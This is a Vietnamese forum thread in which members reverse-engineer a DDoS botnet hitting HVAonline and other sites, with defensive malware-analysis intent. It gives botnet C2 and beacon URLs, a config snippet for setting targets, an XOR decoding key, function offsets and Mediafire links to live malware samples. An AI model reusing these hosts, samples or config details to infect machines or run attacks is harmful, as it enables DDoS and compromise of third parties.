Các bạn để ý tới 4 dòng cuối cùng, đấy là danh sách các website nạn nhân của tui này, và HVA ta vừa bị tụi nó thêm vào. Muốn DDOS website nào, nó chỉ cần set enabled=1 lên là tiêu em ! Vậy ngoài HVA ta ra, còn boxitvn.net, danlambaovn.blogspot.com và boxitvn.wordpress.com cùng chung số phận. useragents tag chính là random UserAgent của con bot của tụi "Sống chết theo lệnh" này. 

Tui thì không đứng về bên nào cả, bên nào làm sai thì lên tiếng đã kích. "Trong chính có tà, trong tà có chính", như Đông Phương Bất Bại hồi xưa thôi. Việc STL là của ai, ai nuôi, ai ra lệnh thì tới bây giờ vẫn nằm trong vòng bí mật, có người biết cũng không dám nói. Bổn phận của chúng ta, dân làm IT, kỹ thuật, chỉ nên đơn thuần phân tích, RE, truy lùng dấu vết của tụi nó. Còn việc sau đó nữa thì có người khác lo, hay không lo thì cũng phải chịu. Nếu chỉ vì sợ hãi tui nó hay thế lực đứng sau tụi nó mà chúng ta phải im lặng trước các hành động dơ bẩn, thối nát, không giống ai, không giống nước nào trên thế giới (trừ vài nước) thì chính ta đã vô tình im lặng, tiếp tay cho chúng phá hoại nền IT, cuộc sống, Internet của nước nhà, chính là tiếp tay cho tội ác. Tới bây giờ, chúng ta vẫn làm đúng, vẫn không đụng chạm đến ai cả. Nếu có ai đó hô lên, ê, tụi HVA kia, mày đụng chạm đến tao thì chính hắn đang phơi bày bộ mặt thật, chân tướng thật của hắn, của thế lực đứng sau hắn ra. Chỉ mong các admin HVA chân cứng đá mềm, tiếp tục đấu tranh chống lại đại dịch này. Còn về tại sao các mẫu bot của tụi nó vẫn không bị phát hiện, theo ý em: 1. VN ta là vùng trũng về IT của thế giới. Các tổ chức bảo mật, AVs nghe tới VN ta là ngán, là lơ luôn. Sống chết mặc bay. 2. Có bao nhiêu người dùng có bản quyền của các AVs để upload mẫu mà họ nghi ngờ lên các AVs đấy. Toàn là dùng cờ rắc, dùng key chùa, key lậu. Có bao nhiêu người dùng có khả năng phân tích kỹ thuật để nghi ngờ file đó là STL's "mèo què". 3. Sự "nổ", sự thổi phồng quá đáng, sự im lặng, bao che của nhiều tổ chức An ninh mạng, các AVs trong nước có thẩm quyền. Đôi khi họ muốn diệt, nhưng vì lý do gì đó mà họ không được diệt đám "mèo què" này. 4. Sự vô cảm, sống chết mặc bay. Em bỏ công lên các forum em tham gia, hô hào bà con tự tìm diệt, up mẫu, vậy mà chỉ nhận được các reply vô cảm cực kỳ, đông ke ! Tới bây giờ, em mới thấy buồn và nãn cho cái nghề IT, nền IT của nước nhà. Em bỏ nghề là đúng ! 

STL sử dụng bot này tấn công theo hành vi duyệt web của người bình thường, thật là không đỡ được. Kĩ thuật sử dụng trong Bot này khá hay, hiện tại em chưa nghĩ ra cách gì để chống lại. Các bác admin có hướng nào để phòng trống không? Nó giả danh 1 người dùng nhé p/s: @phanledaivuong : Government nào thì không biết chứ Government của VN chắc chắn chả bao giờ làm thế. Như bản thân mình thì mình cũng không thích trang danlambaovn và chả bao giờ đọc.  

File config mới của tụi STL này tại host direct.aliasx.net giờ đã xoá hết các host target ở cuối file, chỉ còn lại dòng trêu chọc này: Code:

<targets>
<item enabled="0" threads="5" delay="5" method="GET" protocol="http" host="Postmodenism_tiep_tuc_viet_ky_su.[^.^]" port="80" uri="/" keepCookies="1" crawling="1" referer=""/>
</targets>

 

Đây là một việc cực kỳ nghiêm trọng, một mạng botnet khổng lồ được thiết lập ở Việt nam. Vậy mà chẳng cơ quan có thẩm quyền, báo chí nào lên tiếng cho bà con biết nhỉ. Thiệt là lạ quá, có chăng TQN & HVA team đang một mình chống lại thế lực với ảnh hưởng lớn, khống chế cả giới truyền thông chăng. Các ISP của Việt nam nữa, mình nghĩ là họ biết các thuê bao của họ đã bị nhiễm một loại malware dùng để tấn công DDOS, nhưng có vẻ họ không muốn lên tiếng.  

Đã submit thêm lên Microsoft https://www.microsoft.com/security/portal/Submission/SubmissionHistory.aspx?SubmissionId=61a88685-cf9e-46c6-9598-ba63aac7fefa&n=1 ------------------------------- Nếu có ý định lọt vào các máy chủ điều khiển thì thứ sẽ làm không phải là wwwect các luồng DDoS về "motherland" mà ra lệnh cho lũ bot down về một cái malware remover và một cái firewall dc remote control 

xnohat wrote:

Đã submit thêm lên Microsoft https://www.microsoft.com/security/portal/Submission/SubmissionHistory.aspx?SubmissionId=61a88685-cf9e-46c6-9598-ba63aac7fefa&n=1 ------------------------------- Nếu có ý định lọt vào các máy chủ điều khiển thì thứ sẽ làm không phải là wwwect các luồng DDoS về "motherland" mà ra lệnh cho lũ bot down về một cái malware remover và một cái firewall dc remote control 

Sáng nay, thử scan lại thì không diệt được vì bản cập nhật ngày 22/11/2011. :P Nên Manual cập nhật lên bản mới ngày 23/11/2011 thì kết quả là:

He He He vậy là Microsoft Security Essentials đã kill được con này rồi. Good Job. Thank you anh TQN nhiều và admin HVA.  

Tình cờ em đọc được bài này, mời bà con đọc thử và suy nghĩ: http://vn.360plus.yahoo.com/bom-rtm/article?mid=1556&fid=-1 

Sao lại chỉ có có bác TQN & conmale một mình một chuột chống đỡ vậy chứ? 

This message is an automatically generated reply -- do not reply to this message. This system is designed to analyze and process suspicious file submissions into Symantec Security Response and cannot accept correspondence or inquiries. --------------------------------------------------------------------------- Submission Summary --------------------------------------------------------------------------- We have processed your submission (Tracking #20779850) and your submission is now closed. The following is a report of our findings for the files in your submission: File: AcrobatUpdater.exe Machine: Machine Determination: Please see the developer notes. --------------------------------------------------------------------------- Customer Notes --------------------------------------------------------------------------- This file control bonet systemn for DDOS --------------------------------------------------------------------------- Developer Notes --------------------------------------------------------------------------- AcrobatUpdater.exe Our automation was unable to identify any malicious content in this submission. The file will be stored for further human analysis --------------------------------------------------------------------------- This message was generated by Symantec Security Response automation. Should you have any questions about your submission, please contact our regional technical support from the Symantec Web site, and give them the tracking number included in this message. Symantec Technical Support 

Sao lại chỉ có có bác TQN & conmale một mình một chuột chống đỡ vậy chứ? 

Tình cờ em đọc được bài này, mời bà con đọc thử và suy nghĩ: http://vn.360plus.yahoo.com/bom-rtm/article?mid=1556&fid=-1 

Đây là 1 phần đoạn mail của bạn trẻ cao thủ gởi cho tui. Post lên đây để anh em đọc cho vui:

Về vấn đề mẫu, thì phải xuất phát từ GoogleCrashHandle ạ. Em có mẫu ấy từ bạn xxx trên xxx, cái này chắc anh đã biết. Sau khi nghiên cứu, em viết tracker cho nó, thì tải được 1 file cũng code bằng VB sau đó không lâu, tên là Jucheck.exe. Mẫu này em có từ cái hồi xxx cơ mà. Y hệt cái AcrobatUpdater luôn, chỉ có Icon là của bạn Java Update. Chính nó tấn công vietnamnet. Mẫu này luôn truy cập để tải về file tại địa chỉ http://penop.net/top.jpg đọc code thì thấy nó giải mã với thuật toán xor theo byte, key là 0x19. nhưng ngặt nỗi hồi đó không tải được, link chết. Hệ thống botnet tracker của em thì chạy liên tục, lúc nào cũng định kì download các link, có mẫu mới là notify luôn. tơi đúng hôm HVA bị dos thì có hàng mới của top.jpg , về giải mã ra thì được cái link http://penop.net/images01.gif , đó chính là mẫu virus viết bằng VB hiện giờ đang hoành hành, cũng xor 0x19 theo byte. khi chạy , tên nó là AcrobatUpdater. Hôm đó thấy file cấu hình của nó, em đã định bảo anh ngay nhưng lại không vào HVA được Tất cả các mẫu botnet em có được, em đều đưa vào tracker của em hết, nhiều mẫu nó phải lâu lắm rồi, tưởng chết rồi, thế mà 1 ngày đẹp trời là nó sống lại và có hàng Khoe với anh: cái tracker này em viết cũng lâu rồi, nhưng chỉ để cho vui thôi ạ, nếu không em cũng chả có mẫu mới :| Đó là nguồn mẫu duy nhất của em đấy. Còn tình cờ gặp mấy cái như fake Unikey, cái đấy ăn may. đưa vào tracker mấy hôm thì thấy link die :|  

Bạn trẻ này đóng vai trò quan trọng nhất trong việc dò tìm và phân tích đám malwares của STL. Tui chỉ là người phát ngôn của Bộ dò tìm STL thôi. "Tui kịch liệt lên án STL" ;) 2 anh PXMMRF: Tại sao bây giờ VNCERT, BKAV, CMC, báo chí... vẫn im ru bà rù ???? 

Chào mọi người, Tính chất cũng như kĩ thuật tấn công đã được nêu rõ, hy vọng biện pháp phòng thủ sẽ là chủ đề kế tiếp thay vì cứ bàn những vấn đề rời rạc khác. Đó mới là mục đích chính và cũng là phần thú vị (nếu RCE thì có thể "up" cái topic của bạn TQN lên tránh lạc đề :P).  

Theo như sự phân tích ở trên thì các vụ tấn công Ddos đều giả các cuộc lức wed bình thường nhưng dù gì thì máy tính vẫn là máy tính nó không có trí thông minh bằng người chế tạo ra nó được nó cũng chỉ làm theo những dòng code có sẵn. dựa vào sự suy nghĩ trên em nghĩ ra được 1 cách không biết có được không nếu có gì sai xin các bác bỏ qua cho em . dừng chém em tội nghiệp em lắm :) : =>Tại sau chúng ta không phân biệt sự truy cập đó là người hay là máy bằng cách đưa ra các câu hỏi (như 10+5 = ? hoặc đưa ra một từ tiếng anh mất 1 chữ và nghĩa tiếng việt của nó để ta điền vào ...) để người nào muốn truy cập vào một trang bất kì của HVA cũng phải giải nó.  

http://tongfeirou.dyndns-web.com/banner1.png?cpn=<COMPUTER USERNAME> (404) https://biouzhen.dyndns-server.com/banner1.png?cpn=<COMPUTER USERNAME> (403 nginx)  

Gozilla_2/General (??) 

Em vừa vọc vài thứ trong máy, có lòi ra mấy URL (via whireshark):

http://tongfeirou.dyndns-web.com/banner1.png?cpn=<COMPUTER USERNAME> (404) https://biouzhen.dyndns-server.com/banner1.png?cpn=<COMPUTER USERNAME> (403 nginx)  

với User-Agent đều là:

Gozilla_2/General (??) 

Đang tiếp tục vọc tiếp ... 

@PXMMRF: Em sẽ kiểm tra các thông tin anh cần, và có 1 vài lưu ý là các thông tin e để trên đều liên quan đến DNS của Google, vì các thông tin trên tổng hợp trong quá trình bắt các packet gửi qua IP 8.8.8.8 (ngày mai em sẽ dump và gửi cho a vài chi tiết). Hôm nay em cũng có dạo qua các site, và down bộ unikey từ link: http://nethoabinh.com/showthread.php?t=315 Quét file này trên virustotal: http://www.virustotal.com/file-scan/report.html?id=02b3b347ff00c8bdcad7e4c557a41f36e4af110658aea57557fab2c0bd641b1e-1311508169 

Vấn đề được đặt ra, tại sao người dùng dễ dàng tải exe từ những nguồn nào đó không phải từ trang chính thức của Adobe? 

2- Ngoài Acrobatupdater.exe, các bạn cũng cần kiểm tra sự hiện diện của các service process sau: - AdobeUpdateManager.exe - jucheck.exe (process giả update Java) - OSA.exe Chúng nằm ở các directories sau: Program Files\Adobe\AdobeUpdateManager.exe Program Files\Java\jre6\bin\jucheck.exe Program Files\Microsoft Office\Office11\OSA.exe Chúng cũng là thành phần của Trojan-bot đấy 3- Có bạn nào có mẫu của Trojan-Bot đang tấn công HVA xin gửi cho tôi để tôi kiểm tra. Chắc chắn sẽ có nhiều thông tin hữu ích. Cả chiều hôm nay bật máy, hạ firewall, disable các antivirus, truy cập đến nhiều website cho là nguy hiểm, mà không kiếm đươc con nào cả Thank you in advance.  

http://www.mediafire.com/?wpbh40voy00k87w

Chào mọi người, theo phân tích của anh conmale thì mình biết chắc chắn máy mình đã bị dính virus của STL.

Sau khi mình xoá Acrobatupdate.exe và xoá hết registry và dùng chương trình Avira thì Avira phát hiện ra trojan trong hình dưới và Acrobatupdate không chạy nữa. Nếu mình tắt chương trình Avira đi thì nó lại chạy trở lại.

Mình có thể cung cấp những gì cho diễn đàn để diệt con virut này.  

Chết là chết trong thời gian ngắn đó đấy anh PXM. Tụi nó sẽ cập nhật bot mới lập tức, setup URL download mới lập tức, hy sinh AcrobatUpdater và các URL cũ. Mình sẽ vẫn bị đánh tiếp. File config mới xc.jpg đã không ra lệnh tắt DDOS vào HVA, mà chỉ thay = dòng trêu chọc đó. Một lượng Bot lớn còn lại vẫn theo config cũ mà dập vào HVA ta. Đúng là nhức đầu. Giờ ta có dập được cái host direct.aliasx.net thì vẫn bị DDOS, chỉ còn nước tận diệt các bot còn tồn tại và nhanh chóng tìm ra bot mới. Nếu ISP can thiệp, tui nghĩ họ nên firewall 2 host penop.net và direct.aliasx.net. Bà con nào phát hiện AcrobatUpdater.exe mình và biết cách dùng Wireshark, CommView, TCPView hay SmartSniff (của Nirosoft) có thể giúp mọi người bằng cách: đừng xoá AcrobatUpdater.exe theo dõi thử AcrobatUpdater.exe connect tới host nào, URL ra sao, UserAgent như thế nào ?  

Khoan khoan asaxin ! Cảm ơn cậu, đã chụp được rồi. Cậu up luôn mấy cái file .msi trong thư mục Temp đó luôn. Vấn đề quan trọng nhất bây giờ là xem thằng nào sinh ra mấy cái file .msi đó (.exe giả đuôi .msi: Microsoft Installer). Tạm tắt Avira đi, run FileMon hay ProcMon của SysInternal lên, xem thằng process nào sinh ra mấy cái giả danh đó. Up thằng exe đó lên, và up luôn hình các dll mà thằng process đó dùng luôn. Thằng đó là thằng nằm vùng đấy, chính nó down AcrobatUpdater.exe về để bot ! Gấp, khẩn cấp, làm ngay, anh em đang chờ thộp cổ thằng nằm vùng giấu mặt này ! Wireshark không hiển thì process connect được, cậu asaxin down ngay TCPView (SysInternals) hay CurrPorts, SmartSniff của NirSoft: http://www.nirsoft.net về. 

Sao hiện tại E vào internet (bằng cả Chrome và FireFox), nhất là vào HVAonline Check CurPorts đều thấy kết nối đến thutin.tienve.org:80 mà thằng Process là Trình duyệt? E nên làm thế nào bây h? (Newbie nên ko biết gì, các A thông cảm).:( 

PXMMRF wrote:

2- Ngoài Acrobatupdater.exe, các bạn cũng cần kiểm tra sự hiện diện của các service process sau: - AdobeUpdateManager.exe - jucheck.exe (process giả update Java) - OSA.exe Chúng nằm ở các directories sau: Program Files\Adobe\AdobeUpdateManager.exe Program Files\Java\jre6\bin\jucheck.exe Program Files\Microsoft Office\Office11\OSA.exe Chúng cũng là thành phần của Trojan-bot đấy 3- Có bạn nào có mẫu của Trojan-Bot đang tấn công HVA xin gửi cho tôi để tôi kiểm tra. Chắc chắn sẽ có nhiều thông tin hữu ích. Cả chiều hôm nay bật máy, hạ firewall, disable các antivirus, truy cập đến nhiều website cho là nguy hiểm, mà không kiếm đươc con nào cả Thank you in advance.  

E kiểm tra máy e thấy có file jucheck.exe tại thư mục như trên. Gửi anh PXMMRF mẫu file jucheck.exe Code:

http://www.mediafire.com/?wpbh40voy00k87w

 

@PXMMRF: Em sẽ kiểm tra các thông tin anh cần, và có 1 vài lưu ý là các thông tin e để trên đều liên quan đến DNS của Google, vì các thông tin trên tổng hợp trong quá trình bắt các packet gửi qua IP 8.8.8.8 (ngày mai em sẽ dump và gửi cho a vài chi tiết). Hôm nay em cũng có dạo qua các site, và down bộ unikey từ link: http://nethoabinh.com/showthread.php?t=315 Quét file này trên virustotal: http://www.virustotal.com/file-scan/report.html?id=02b3b347ff00c8bdcad7e4c557a41f36e4af110658aea57557fab2c0bd641b1e-1311508169 

Ặc ặc, acoustics90 lại xúi bậy rồi. Chờ asaxin up lên thằng nào down AcrobeUpdater.exe về chứ. Phải có thằng down về thì mới có AcrobatUpdater.exe. Vấn đề anh đang suy nghĩ và tìm kiếm chính là thằng giấu mặt này nè ! 

nobitapm wrote:

E kiểm tra máy e thấy có file jucheck.exe tại thư mục như trên. Gửi anh PXMMRF mẫu file jucheck.exe Code:

http://www.mediafire.com/?wpbh40voy00k87w

 

Mẫu này không phải virus, bạn yên tâm nhé 

2 Nobitapm: file jucheck.exe đó của em là file sạch, chính hãng Sun, bảo hành đàng hoàng. Máy em install Win7 64bit à ? 

Tiếc quá, mình xoá hết rồi, mới ăn cơm xong. Hồi sáng có chạy chương trình cports và smsniff nhưng không chụp hình của nó. :( 

Hóng mẫu, có mẫu mới thì em post tiếp, nếu không thì em đi ngủ :) A ha, lại là MsHelpCenter.exe =)) =)) Nếu thế bạn lấy luôn các file sau cùng 1 lượt cho tiện, đỡ up nhiều MsHelpCenter.idx thumbcache.db _desktop.ini cùng thư mục cả đấy, tổng cộng tầm 10MB, code thì ít mà toàn sh!t bên trong 

Đã nhận được file của asaxin. Đúng rồi,còn thiếu thumbcache.db và _desktop.ini nữa, asaxin bật chế độ view hidden file lên, tìm và up giùm 2 file đó. Đích thị nằm vùng của STL rồi, không biết là mới hay cũ so với mẫu của acxxx89 ? Chia sẽ với bà con luôn: http://www.mediafire.com/?0jomzjk727n7181. Password: malware 

Trong thư mục c:\windows\microsoft help của mình chỉ có 2 file là .exe và idx đã gửi thôi, không còn file nào khác. 

Hì hì, đủ file rồi đó acoustics89. Em RCE tiếp và tìm ra thằng website nào ra lệnh down AcrobeUpdater.exe về nhé. Giờ anh phải đi lang thang nữa rồi. 2 asaxin: Good job, tiếp tục chịu khó up các file mà tui đã list ở trên để kiểm tra luôn nhé ! Thank you very nhiều ! 

nobitapm wrote:

PXMMRF wrote:

2- Ngoài Acrobatupdater.exe, các bạn cũng cần kiểm tra sự hiện diện của các service process sau: - AdobeUpdateManager.exe - jucheck.exe (process giả update Java) - OSA.exe Chúng nằm ở các directories sau: Program Files\Adobe\AdobeUpdateManager.exe Program Files\Java\jre6\bin\jucheck.exe Program Files\Microsoft Office\Office11\OSA.exe Chúng cũng là thành phần của Trojan-bot đấy 3- Có bạn nào có mẫu của Trojan-Bot đang tấn công HVA xin gửi cho tôi để tôi kiểm tra. Chắc chắn sẽ có nhiều thông tin hữu ích. Cả chiều hôm nay bật máy, hạ firewall, disable các antivirus, truy cập đến nhiều website cho là nguy hiểm, mà không kiếm đươc con nào cả Thank you in advance.  

E kiểm tra máy e thấy có file jucheck.exe tại thư mục như trên. Gửi anh PXMMRF mẫu file jucheck.exe Code:

http://www.mediafire.com/?wpbh40voy00k87w

 

Mẫu này không phải virus, bạn yên tâm nhé 

Không biết nói lời nào nữa, quá trời good job luôn acoustics89 ! Em làm nhanh thiệt, anh thì cứ đi từng file, từng hàm của nó. Nên chậm hơn em nhiều. Vậy là bà con đã biết thằng nằm vùng giấu mặt down AcrobatUpdater.exe về rồi nhé. Thủ phạm đây: MsHelpCenter.exe. Bà con tuyên truyền mọi người quen biết, cộng đồng mạng nên nhanh tay xoá MsHelpCenter.* và cái thumbcache.db, _desktop.ini. Cảm ơn acoustics89, asaxin, bolzano (theo thứ tự ABC nhé, không phân bì nhé) rất nhiều. Nhờ các bạn, một đám "mèo què" của stl nằm vùng đã bị bà con vạch mặt. Và cũng nhờ mọi người, bà con cùng nhau tiếp tục úp các mẫu này cho các AV để các AV cập nhật và thịt cổ đám "mèo què" này: MS, KIS/KAV, Avira, AVG, Symantec, Trend... Thịt xong đám mshelpcenter này và AcrobatUpdater.exe này, chắc chắn STL sẽ không còn nhiều "hàng" để chơi trò bẩn thỉu DDOS nữa. Các bà con khác tiếp tục dùng Wireshark, CurPorts, SmartSniffs để tìm và up mẫu lên cho mọi người. Cũng có thể còn một (hay vài thằng nằm vùng nào đó nữa :-( ) 

Kệ nó em, acoustics89. Tới đây là được rồi, vì MsHelpCenter.exe đã cũ rồi, từ tháng 12 năm ngoái, lại được hardcoded string poxxf.com. Nó nằm nằm vùng lâu rồi. Giờ cắt được nó là coi như cắt 1 tay của tụi stl rồi. Chiều giờ ngồi nhà theo dõi topic này luôn. Ngoài trời đang mưa nữa, có lý do ngồi nhà hợp lý ;)  

nhưng mấy anh ơi, bài toán lại bắt đầu lại rồi : MsHelpCenter.exe Câu hỏi: ai tải cái và các file kia về ?? :| Trả lời nốt câu này mới ổn ?? 

Tôi cho rằng cần phải xem lai cái file MsHelpCenter.exe Đây là file chính thức của MS mà. Nó được digitally signed ngon lành bởi MS mà original name: MsHelpCenter.exe internal name: (cũng là) MsHelpCenter.exe file version.: 6.1.7600.16385 MD5 : 915e9432ca9414a771071ee0cc115930 SHA1 : 9ec74f80c7b03ff2ab4ecbe57b5a1d0296a3bee6 SHA256: b34852815cffab3bfb557e552f8566f80cbe2915895bae9b6e7d085eab7e7f6d ssdeep: 3072:acFDLF09RoMPXa5zgKSfpBitAggb4d/VpvF2CmsNd:tFDLFFW8gbpUt7V7Vms File size : 9332736 bytes OK?  

PXMMRF wrote:

Tôi cho rằng cần phải xem lai cái file MsHelpCenter.exe Đây là file chính thức của MS mà. Nó được digitally signed ngon lành bởi MS mà original name: MsHelpCenter.exe internal name: (cũng là) MsHelpCenter.exe file version.: 6.1.7600.16385 MD5 : 915e9432ca9414a771071ee0cc115930 SHA1 : 9ec74f80c7b03ff2ab4ecbe57b5a1d0296a3bee6 SHA256: b34852815cffab3bfb557e552f8566f80cbe2915895bae9b6e7d085eab7e7f6d ssdeep: 3072:acFDLF09RoMPXa5zgKSfpBitAggb4d/VpvF2CmsNd:tFDLFFW8gbpUt7V7Vms File size : 9332736 bytes OK?  

Cháu xem kết quả sigcheck ở link sau thì thấy là unsigned :) : http://www.virustotal.com/file-scan/report.html?id=b34852815cffab3bfb557e552f8566f80cbe2915895bae9b6e7d085eab7e7f6d-1311589090 

Đọc xong cả Topic cho đến lúc này e chỉ có 1 câu để nói là: Các thành viên trong HVA quá tuyệt vời :) Phối hợp với nhau cứ như 1 đội hình... chả biết dùng từ gì nữa ^^ Em có cộng tác với 1 vài tờ báo mạng, định sẽ viết 1 bài tóm lược về việc phân tích và kết quả đạt được như trên của mấy a để cho mọi người cùng xem, không biết có phiền gì không ạ ??? 

maowoli.dyndns-free.com (Destination IP: 78.110.24.85) biouzhen.dyndns-server.com (Destination IP: 78.110.24.85) tongfeirou.dyndns-web.com (Destination: server86944.santrex.net)  

Giờ rãnh rỗi, ngồi úp cái đống MsHelpCenter.* lên KIS, MS, Avira, Symantec. Mô tả bằng tiếng Anh khó quá. Thôi viết tiếng Việt rồi dùng Google Translate ra đại cho rồi. Hy vọng mấy thằng bên đó đọc hiểu được 50%. Mấy anh STL chơi ác quá ha, nhét dump bitmap, dump resource data vào mấy cái file của mấy anh để mấy file đó bự bà cố luôn, 8-9 MB, để bà con khỏi úp lên các AV và các online scan phải không ? Hồi chiều, ngồi tự hỏi: quái, tụi này không không nhét mấy cái "Background" Bmp Resource tới 8-9 MB vào file PE của tụi nó chi vầy ? Đọc code, debug, breakpoint đủ kiểu chả thấy nó đụng tới Bmp Resource gì cả ! Không sao, em remove mấy cái dump resource, dump bitmap đó đi, up tuốt. Giờ úp lại nè, nãy giờ úp 2 lần đều faild hết. File em đã úp cái đống đó lên tới 26MB. Giờ up được rồi. File up chỉ còn 247 KB, chuyện nhỏ. Tụi này dùng giới hạn up file của các trang web submit sample của các AVs, thông thường là 8 MB.  

bolzano_1989 wrote:

PXMMRF wrote:

Tôi cho rằng cần phải xem lai cái file MsHelpCenter.exe Đây là file chính thức của MS mà. Nó được digitally signed ngon lành bởi MS mà original name: MsHelpCenter.exe internal name: (cũng là) MsHelpCenter.exe file version.: 6.1.7600.16385 MD5 : 915e9432ca9414a771071ee0cc115930 SHA1 : 9ec74f80c7b03ff2ab4ecbe57b5a1d0296a3bee6 SHA256: b34852815cffab3bfb557e552f8566f80cbe2915895bae9b6e7d085eab7e7f6d ssdeep: 3072:acFDLF09RoMPXa5zgKSfpBitAggb4d/VpvF2CmsNd:tFDLFFW8gbpUt7V7Vms File size : 9332736 bytes OK?  

Cháu xem kết quả sigcheck ở link sau thì thấy là unsigned :) : http://www.virustotal.com/file-scan/report.html?id=b34852815cffab3bfb557e552f8566f80cbe2915895bae9b6e7d085eab7e7f6d-1311589090 

Nó đây nè bolzano_1989 ạ Chú ý trong folder có tên là MsHelpCenter mà bạn asaxin upload lên Mediafire có 2 file: MsHelpcenter.exe và MsHelpCenter.idx. File MsHelpCenter.idx mới có Trojan còn file kia MsHelpCenter.exe (.exe file-fice chạy) thì lai là 1 file nguyên thuỷ của MS. Bản phân tích của MsHelpCenter.exe đây nè:

 

sigcheck: publisher....: Microsoft Corporation copyright....: (c) Microsoft Corporation. All rights reserved. product......: Microsoft_ Windows_ Operating System description..: Microsoft Help Center original name: MsHelpCenter.exe internal name: MsHelpCenter.exe file version.: 6.1.7600.16385 

Gửi chú PXMMRF, Những kết quả sigcheck sau có được là do đám STL làm giả để đánh lừa advanced user:

sigcheck: publisher....: Microsoft Corporation copyright....: (c) Microsoft Corporation. All rights reserved. product......: Microsoft_ Windows_ Operating System description..: Microsoft Help Center original name: MsHelpCenter.exe internal name: MsHelpCenter.exe file version.: 6.1.7600.16385 

Quan trọng nhất khi sigcheck MsHelpCenter.exe là các dòng sau: Verified: Unsigned File date: 9:34 AM 12/31/2010 Vào thời điểm này, Microsoft USA không thể có người làm việc liên quan đến file MsHelpCenter.exe này :) . Đồng thời file này không được digitally signed bởi Microsoft Windows. 

Tuy nhiên tôi chỉ xác nhân là cái file MSHelpCenter.exe (nằm trong một folder có tên là "MSHelpCenter"- being zipped) mà bạn asaxin upload lên Mediafire vừa qua là không có virus thôi (nhưng file MSHelpCenter.idx, cũng trong folder nói trên, là có virus rõ ràng). Tôi không biết và không đề cập đến tất cả các file MSHelpCenter.exe khác  

PXMMRF wrote:

Tuy nhiên tôi chỉ xác nhân là cái file MSHelpCenter.exe (nằm trong một folder có tên là "MSHelpCenter"- being zipped) mà bạn asaxin upload lên Mediafire vừa qua là không có virus thôi (nhưng file MSHelpCenter.idx, cũng trong folder nói trên, là có virus rõ ràng). Tôi không biết và không đề cập đến tất cả các file MSHelpCenter.exe khác  

Gửi anh PXMMRF, Em không biết anh có đọc mấy bài trước của anh TQN và bạn acoustics89 phân tích hay không mà anh lại khẳng định như thế ạ ? File MSHelpCenter (MD5: 915E9432CA9414A771071EE0CC115930) được zip cùng file MSHelpCenter.idx mà bạn asaxin đã upload rõ ràng là malware. Chính nó là con download AcrobatUpdater.exe về đấy ạ. Theo như hình kết quả từ virustotal, chưa có chương trình AV nào detect em nó không có nghĩa là em nó clean, và mấy cái thông tin internal name, orginal name, ... hoàn toàn có thể fake được mà anh. Rang0 ! 

Em dùng Bkav pro . Hôm trước down mấy mẫu về thấy nó nhai ngon lành . Hic hic ... Cả file fake kia lẫn cái file *.dix

 

BKAV pro đã phát hiện ra virus-trojạn trong file MSHelpCenter.idx rồi à? [/color].Rất hoan nghênh. Nhưng Virus DAT file update vào ngày nảo? Tháng 6, tháng 7/2011? 

Em cũng không biết có file MSHelpCenter nào của MS mà nó có hành vi như trên không nữa ạ ?  

@lequi: chắc anh em lại cùng với bạn phối hợp lấy mẫu như hôm qua. xong bạn up mẫu lên đây nhé, mọi người phân tích cũng nhanh thôi 

là người viết các kết quả phân tích; Em tự tin vào cái mà em lần ra, em tự tin và khẳng định nó là virus ạ. Cho dù các phần mềm khác có đưa kết quả clean đi nữa, em vẫn chỉ tin vào Olly và IDA. trong MSHelpCenter.exe File Offset 000136B0h: G4GD7ND0CDL4DB7CB0CD3ED6KD9YC2FDYN7BD0OCP4JD7QD0ED3FD6HDO0TC3OC6CD địa chỉ của hàm decode :401B30h Hàm download : 4015B0h Ngoài ra còn hàm này để ghi key trong registry:4017F0h Cái xâu bị cắt vụn ra, tránh emulator, dò string của các av, liệu có coder nào rảnh đến mức cắt như thế không ạ 

acoustics89 wrote:

@lequi: chắc anh em lại cùng với bạn phối hợp lấy mẫu như hôm qua. xong bạn up mẫu lên đây nhé, mọi người phân tích cũng nhanh thôi 

Mình rất sẵn lòng. Mớ packet và các nghi ngờ của mình bắt đầu xuất hiện từ sau khi chạy setup unikey này http://nethoabinh.com/showthread.php?t=315). Mình vẫn chưa lần mò ra được gì :(, có thể máy mình vẫn đang có trojian, nhưng có thể đây là 1 phiên bản trước đây khá lâu (tháng 11/2009), các user-agent và url đều khác, mặc dù cấu trúc là giống nhau (Gozilla và ?cpn). Không biết mình phải làm gì tiếp đây? 

acoustics89 wrote:

@lequi: chắc anh em lại cùng với bạn phối hợp lấy mẫu như hôm qua. xong bạn up mẫu lên đây nhé, mọi người phân tích cũng nhanh thôi 

Mình rất sẵn lòng. Mớ packet và các nghi ngờ của mình bắt đầu xuất hiện từ sau khi chạy setup unikey này http://nethoabinh.com/showthread.php?t=315). Mình vẫn chưa lần mò ra được gì :(, có thể máy mình vẫn đang có trojian, nhưng có thể đây là 1 phiên bản trước đây khá lâu (tháng 11/2009), các user-agent và url đều khác, mặc dù cấu trúc là giống nhau (Gozilla và ?cpn). Không biết mình phải làm gì tiếp đây? 

1 -Service, process nào download các file MSHelpCenter.exe về máy hoăc process nào inject malicious code vào file này?? ( Ngay từ lúc đầu file MSHelpCenter.exe có bị nhúng virus hay không?) 2- Virus-Trojạn nằm trong file MSHelpCenter.idx có quan hệ tác động gì đến file MSHelpCenter.exe, khi nào, tiến trình xảy ra theo trình tự thế nào khi máy bị nhiễm virus? 3- File đầu tiên gây nhiễm cho máy user mà user download về trên mạng (thí dụ Vietkey, Unikey....) là file nào trong trường hợp này.? Dĩ nhiên không phải là chính các file MSHelpCenter.exe hay MSHelpCenter.idx, vì dung lượng của chúng quá lơn, mà cũng chẳng ai lai cần download chúng về làm gì cả Vậy bạn có ý kiến thế nào về những vấn đề tôi đang thắc mắc, để tôi có thể giải toả và có kết luận cuối cùng cho mình?? 

Em toàn dùng máy ảo để desassembling code , tất cả đều trong máy ảo cả. Máy ảo em tự cài từ đầu, các phần mềm bên trong cũng qua kiểm duyệt hết rồi Bây giờ đơn giản là anh dùng 1 chương trình Hex editor, jump đến các offset trong file MSHelpCenter.exe như em nói xem có đúng là nó thế hay không, chương trình hex editor nào cũng được. Nếu nó đúng, thì đó là 1 bằng chứng, 1 ví dụ về việc : các av bây giờ cũng chưa phải quá mạnh, việc tin tưởng vào nó là hơi phiêu lưu và mạo hiểm. Mặc dù đã được trang bị các công nghệ như emulator, Heurristic, thì vẫn không thể tin tưởng được. Có thể là 1 chiêu marketing của các AV... Và bây giờ, công nghệ tạo ra malware đang đi trước chung ta 1 bước. Hiện thực đáng sợ này bao giờ mới chấm dứt đây 

Meta-data
=======
File:    MsHelpCenter.exe
